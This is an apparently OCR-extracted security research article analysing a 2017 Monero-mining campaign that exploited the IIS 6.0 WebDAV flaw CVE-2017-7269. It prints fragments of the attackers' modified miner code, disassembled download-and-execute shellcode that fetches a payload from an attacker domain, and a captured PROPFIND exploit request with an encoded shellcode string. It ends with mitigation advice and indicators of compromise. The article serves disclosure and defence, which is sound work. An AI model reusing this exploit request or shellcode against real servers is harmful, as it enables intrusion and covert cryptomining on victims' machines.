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Money-making machine: Monero-mining malware

By Peter KélnaiMichal Poslusny
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While the world is holding its breath, wondering where notorious cybercriminal groups like Lazarus or Telebots
will strike next with another destructive malware such as WannaCryptor or Petya, there are many other, less

aggressive, much stealthier and often very profitable operations going on.

One such operation has been going on since at least May 2017, with attackers infecting unpatched Windows
webservers with a malicious cryptocurrency miner. The goal: use the servers’ computing power to mine Monero

(XMR), one of the newer cryptocurrency alternatives to Bitcoin.

To achieve this, attackers modified legitimate open source Monero mining software and exploited a known
vulnerability in Microsoft IIS 6.0 to covertly install the miner on unpatched servers. Over the course of three
months, the crooks behind the campaign have created a botnet of several hundred infected servers and made over
USD 63,000 worth of Monero.

ESET customers are protected against any attempts to exploit the CVE-2017-7269 vulnerability, even if their

Why mine Monero and not Bitcoin?

While far behind Bitcoin in market capitalization, Monero has several features that make it a very attractive
cryptocurrency to be mined by malware — untraceable transactions and a proof of work algorithm called
CryptoNight, which favors computer or server CPUs and GPUs, in contrast to specialized mining hardware

needed for Bitcoin mining.

We can observe the exchange rate jumping up from 40 USD/XMR up to 150 USD/XMR over the past month,
falling back to 100 USD/XMR.
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Figurel. Candlestick chart of the XMR/USD exchange rate in August, 2017

The Cryptominer

First seen in-the-wild on 26" May, 2017, the malicious mining software is a fork of a legitimate open source

Monero CPU miner called xmrig, version 0.8.2 (also released May 26 2017).

When creating the malicious mining software, the crooks did not apply any changes to the original open source
codebase apart from adding hardcoded command line arguments of the attacker’s wallet address and the mining
pool URL, plus a few arguments to kill all previously running instances of itself so as not to compete with its new
instance. This couldn’t have taken the cybercrooks more than just couple of minutes as suggested by the fact that

we saw it in-the-wild on the same day the base version of xmrig was released.

You can see the attacker’s modified cryptominer and its identification with the available source code in the figures

below.
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CreateMutexW{ a, @, ""427Zhhaakq nhkisehiseeiikismibeisiisbibtmibibiinbis

22 system{“taskkill /f /t /im bash.exe™);
23 system{"taskkill /f /t /im bash.exe™);
24 system{"taskkill /f /t /im bash32.exe");
25 system{"taskkill /f /t /im bash32.exe");
26, system{"taskkill /f /t /im bashb6h.exe™);
27  system{"taskkill /f /t fim bashé6ld._.exe™};
28 system{"taskkill /f /t /im node32_exe"};
29  system{"taskkill /f /t /im node32_exe"};
38 system{"iisreset™);

31 argu[@a] = "null®;

32 argu[1] = "-0";

33 argu[2] = "2mr.crypto-pool.fr:88";

34 argu[3] = "-u";

35| argu[i] =

36 argu[%] = “-p";

37 argu[6] = "'x";

38 argu[¥] = "-k";

39 argu[8] = "-b";

4a) argu[9] = "*mr.crypto-pool . fro443";

41 argu[18] = "--safe";

421 vl =

4 applog_init{);

L cpu_init();

56 parse_cmdline{11, argu};

57 persistent_memory_allocate();

58 print_summary{);

Ll xtree Utility.cpp iosfwd PE.cpp variant

C Source Code (xmrig.c)

int main(int argc, char *argv[]) {

applog_init();

cpu_init();

parse_cmdline(argc, argv);

persistent_memory_allocate();

print_summary();

stats_init();

os_specific_init();

work_restart = persistent_calloc(opt_n_threads, size
thr_info = persistent_calloc(opt_n_threads + 3,

if (!start_workio()) {
applog(LOG_ERR, "workio thread create failed");
return 1;

IDA Pro decompiled
pseudoC

applog_init{)};

cpu_init();

parse_cmdline{11, argu);
persistent_memory_allocate();

print_summary{};

stats_init(};

os_specific_init();

work_restart = persistent_calloc{dword_49C868, 128);
thr_info = persistent_calloc{dword_49C868 + 3, 12);
dword_47888C = dword_49C068;

v2 = (thr_info + 12 = dword_49CA68);

*u2 = dword_LOCB68;

u3d = sub_LBo29BA();

uz2[2] = w3;

if ( tw3 || pthread_create{v? + 1, 8, workio_thread, v?)
uhh = 1;

applog{®, "workio thread create failed"};

else

Figure2. Code comparison between original and adapted versions

Scanning and Exploitation

The distribution of the miner to victims’ computers is the hardest part of this operation, but even here, the

attackers went for the easiest approach. There are two IP addresses that we identified as the source of brute-force

scans for the CVE-2017-7269 vulnerability and both point to servers in the Amazon Web Services cloud.

The vulnerability exploited by the attackers was discovered in March 2017 by Zhiniang Peng and Chen Wu. It is a

vulnerability in the WebDAYV service that is part of Microsoft IIS version 6.0, the webserver in Windows Server

2003 R2. A dangerous buffer overflow in the ScStoragePathFromUrl function is triggered when the vulnerable
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server is processing a malicious HTTP request. In particular, a specifically crafted PROPFIND request leads to a
buffer overflow due to a reallocation of double sized buffer when the count of Unicode characters is mistakenly
provided instead of a byte-count. A very detailed analysis of the mechanism by Javier M. Mellid can be found
here. This vulnerability is especially susceptible to exploitation, since it’s located in a webserver service, which in

most cases is meant to be visible from the internet and therefore can be easily accessed and exploited by anyone.

The payload comes necessarily in the form of an alphanumeric string. The attackers replaced the string leading to
the execution of the Windows calculator from the proof-of-concept with one leading to the download and
execution of their malicious payload. However, this didn’t require much sophistication either, as there are online

tools like alpha3 that help to convert any shellcode into the desired string.

The shellcode is the expected download-and-execute action (downloading dasHost.exe from hxxt://postgre[.]tk/
into the % TEMP% folder):

rsaenh.d1l1:688316A9 fpush InternetReadFile

rsaenh.d11:688316AE ca epp
rsaenh.d11:688316B8 test eax, eax

=] [PEOEG I BENTICEE e short loc_688316E1  i5a31671 64 61 73 48 6F 73 74 2E 65 78 65 60 EB 6B 31 CO dk1+
[POAElCILEERIEND (e e 68831681 5F 50 6A B2 6A B2 58 6A B2 6A 82 57 68 DA F6 DA P1.7.P7.].uh+s+
DI ERs(E eax, eax 68031691 4F FF D5 93 31 CB 66 B8 B4 B3 29 C4 54 8D AC 24  0-+01+F+..)-T.L$

= eIl sENEIENY = short loc 688316CF ;0539601 98 31 €O B4 83 50 51 56 68 12 96 89 E2 FF D5 85 .1+!.PQUh.G#€-+3
PR CIBENERIENE) fUsh O 68031681 CO 74 2D 58 85 CO 74 16 6A B0 54 50 8D 4h 24 BC +t-Xa+t.j.TP.DS.
FEEEHDAIEEERIETS (UEh  GEp 68031601 58 53 68 2D 57 AE 5B FF D5 83 EC B4 EB CE 53 68 PSh-We[-+38.d+Sh
FEEEHD(IEEERIENE (Ush — CER 580316D1 C6 96 87 52 FF D5 6A B0 57 68 31 8B 6F 87 FF D5 !{igR-+j.Wh1iog-+
DI EEHIERIHD 150 eax, [esp+Ch] 680316E1 6A B0 68 FO BS A2 56 FF D5 E8 98 FF FF FF 43 3A . h=1dU-+F ---C:
PEEEIDMLEEERIEE] (IS0 GER 688316F1 5C 57 49 4E 44 UF 57 53 5C 54 65 6D 78 5C 64 61
:g:gg:-gﬁ;gggg]ggg u;: ﬁ;teﬁle 68831781 73 48 6F 73 74 2E 65 78 65 00 E8 F6 FE FF FF 78
rsaenn.du:ﬁsaswcsﬁ'ﬂ—mu_l 68031711 &F 73 74 67 72 65 2E 74 6B B0 51 GE 00 6B B8O 52
rsaenh.d11:688316CA sub esp, 4

= [Fsaenh.d11:688316CD jmp short loc_6883169D

rcaenh.d11:688316CF ;
rsaenh.dll:688316CF
rsaenh.d11:688316CF loc_688316CF: ; CODE XREF: rsaenh.dl1:688316B7Tj
rsaenh.d11:688316CF push ebx

rsaenh.d11:688316D8 push CloseHandle

rsaenh.dl1:688316D5 call ebp

rsaenh.d1ll:688316D7 push i}

rsaenh.d11:68831609 push edi

rsaenh.d11:68031609@ '.thec |

rsaenh.d1l:688316DF ca ebp

rsaenh.dll:688316E1

rsaenh.d1l1:688316E1 loc_688316E1: ; CODE XREF: rsaenh.dl1:6883165ET]
rsaenh.d1ll:688316E1 ; rsaenh.d11:6808316B2Tj

Fsaenh.d11:688316E1 push a
Fsaenh.dll:688316E3 push ExitProcess
rsaenh.dl1:688316E8 call ebp

Figure3. Shellcode delivered by the exploit

Based on our data, the very first in-the-wild exploitation of this vulnerability happened just two days after its

Gth

publication on 26™ March 2017 and it has been actively exploited ever since.

This particular malicious miner was first seen in-the-wild on 26t May 2017. Since then, it has been appearing in
waves, on a weekly or less frequent basis, which implies that the attacker scans the internet for vulnerable

machines.
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[l Attack Campaigns

Figure4. Graph of infection waves over time

Scanning is always done from one IP address, which seems to be a machine hosted on an Amazon cloud server

that the attacker had rented and deployed their scanning software, and continue to use it to launch their attacks.
Mitigation

ESET detects the malicious binaries of the miner as Win32/CoinMiner.AMW trojan and the exploitation
attempts at the network layer under the detection name webDAV/ExplodingCan. This is a real-world example of

a packet that would be blocked:
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! Wireshark - Reassembled TCP Segments (tcp.segments) - wireshark_9F6146F6-CBEG-46D3-ADBA-DC3ICCER32D45_2017082... [ == ﬁ,l

PROPFIND / HTTP/1.1
| Host: eo——— |
Content-Length: @

If: <http://

= 1 = o = = =

(Not <locktoken:writel>) <http:/ A———————_—
e

........... VWYAIATATAIATAIAIAIATATAIAIAIAIAXAQADAZABARALAYATAQATAQATAARAZIATATATIIATATABABABQIIATQIAIQILLL
ATAIQYAZBABABABABKMAGBOUATBKLYXEi9pMaip0p4IjERLFrlITEKr2PR4AK22]1L 2k0bLT 2kqbo8zox70ZKvLgIonQi@DloLpaglirL1IMPUGH
01MM1VEjBHp1BqGrkNrLPbkpBoLzafpRkmprXSUy@QdnjlacpePakoXIxbkbaKpyquweySoLPI2kNTTKQFvE1ioLqWPT IwQeo ImzauwaeHpg
eZTKSOmhx0K3M042UwraHdKBBMTyqz3bFREJ LnkRkBBmLYqz3dKzdRkjaFplyndktKt1KokaQra8ZB1Iokenx0oojOKKbXkQvgMah 2NPet4i
pCBBwcIPnoyud8TRTQXALOgKv jeioyENQkOLGE70gB 7 1IFPh1zPYRY cwKOIE JK1POKPL61irLloabl9sNgB11ZrelCRE1Xb7bis0VT ioXUxkNoP
Ypl8RR2QXIpp238cTNr1BNrOab2RBBhEK2SNNOKyoxUU9i6oz LPaKPhcPA3IpMeQykeblZd282 kolNv2HIEMvCnUGIo7elqloogQGagh7Ofe
hNMMEzxakkOVULS5p4SmPpKIoRd sMEPYpipIKvgxiSPkPipMeYXTlyoIokOn0ObD@aBSq8b0t30dnNsSQhouip8krkngialorRerI9rBlzbbeg
ZkR1ZZb@WRHxZ JWvz@09cHUW3malpseEhjdismyYEtaDTME@Lo41Hmaep84lcpP2lafrHmBdVsY jBY ovuIUupTAnMRBESOBTALYVGZmB24np4MP
DLdj1Ba0caXnMewWeNgK9c7e53x17djKFnqCCBxFRYDGobKOVUbImBoglXplbkbOawyYoIEPjIpehhp7Eg226K0WeKBRpYcioyopCnZalR70Yn
nBDB0PWPS1LQDRErMABLLrQQCCQE8PocChTLNQULASSkPhh16ink0IobPRo3C2TOWIbRELNDThKIpAA®

Figure5. Specifically crafted HTTP request with an encoded shellcode

Microsoft ended its regular update support for Windows Server 2003 in July 2015 and did not release any patch

for this vulnerability until June 2017, when several critical vulnerabilities for its older systems were discovered
and brought to the attention of malware authors. The good news is that despite the end-of-life status of the system,
Microsoft decided to patch these critical vulnerabilities in order to avoid large-scale destructive attacks similar to
the WannaCryptor (aka WannaCry) outbreak. However, keeping Windows Server 2003 up-to-date might be
difficult due to the fact that automatic updates don’t always work smoothly (e.g. this blog post by Clint Boessen
confirms our own troubles with updating the system). Consequently, many of these systems are still vulnerable to
this day. We strongly advise users of Windows Server 2003 to apply KB3197835 and other critical patches as soon

as possible (if automatic updates fail then download and install the security update manually!).

Statistics

Thanks to the mining pool stats being publicly available, we were able to see the combined hash rate of all
victims, which represents the computing power dedicated to the mining account. The value seemed to consistently
reach around 100 kilohashes per second (kH/s), with a surge of up to 160 kH/s in late August 2017, which we

attribute to campaigns launched on August 23 and 30.

Overall, the infected machines were making approximately XMRS5.5 daily by the end of August and have made
over XMR420 in total over the course of three months. According to the exchange rate of 150 USD/XMR at the
time, these values were equal to USD 825 per day and over USD 63,000 in total, respectively.

The attackers were very active at the end of August but have gone quiet since early this month with no new
infections coming in. Moreover, because the miner has no persistence mechanism, the attackers have slowly
begun losing already compromised machines, and the total hash rate has dropped all the way down to 60 kH/s at
the time of writing. This is not the first time the attackers took such a break and it is likely a new campaign will be

launched in the near future.
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The total number of victims is not known to us, but can be estimated from the total hash rate produced by the
attacker. According to the CPU benchmarks, a high-end consumer Intel i7 processor has a hash rate of around 0.3-
0.4 kH/s. However, considering the fact that the exploit is limited to systems running Windows Server 2003,
which will most likely be running on older hardware with weaker CPUs, the average hash rate per victim will be

much lower and the total number of infected machines probably much higher.
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Figure6: Statistics of the attackers’ wallet provided by the mining pool

Conclusion

We see that minimal know-how together with very low operating costs and a low risk of getting caught — in this
case, misusing legitimate open-source cryptocurrency mining software and targeting old systems likely to be left

unpatched — can be sufficient for securing a relatively high outcome.

Sometimes it takes very little to gain a lot, and this is especially true in today’s world of cybersecurity, where even
well-documented, long-known and warned about vulnerabilities are still very effective due to the lack of

awareness of many users.

ToCs

Download Site:

hxxp://postgre.tk
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ToCs

hxxp://ntpserver.tk

Source IPs:

54.197.4.10

52.207.232.106

18.220.190.151

Hashes:
31721AE37835F792EE792D8324E307BA423277AE
AOBC6EA2BFA1D3D895FESE706737D490D5FE3987
37D4CC67351B2BD8067AB99973C4AFD7090DB1E9
0902181D1B9433B5616763646A089B1BDF428262
0AB00045D0D403F2D8F8865120C1089C09BA4FEE
11D7694987A32A91FB766BA221F9A2DE3C06D173
9FCB3943660203E99C348F17A8801BA077F7CB40

52413AE19BBCDB9339D38A6F305E040FES3DEE1B

If you are interested in this topic you might also be interested in the following:

https://www.welivesecurity.com/2017/09/14/cryptocurrency-web-mining-union-profit/

https://www.welivesecurity.com/2017/09/12/cryptocurrency-state-sponsorship/

Image Credit: © Markéta Fialovd
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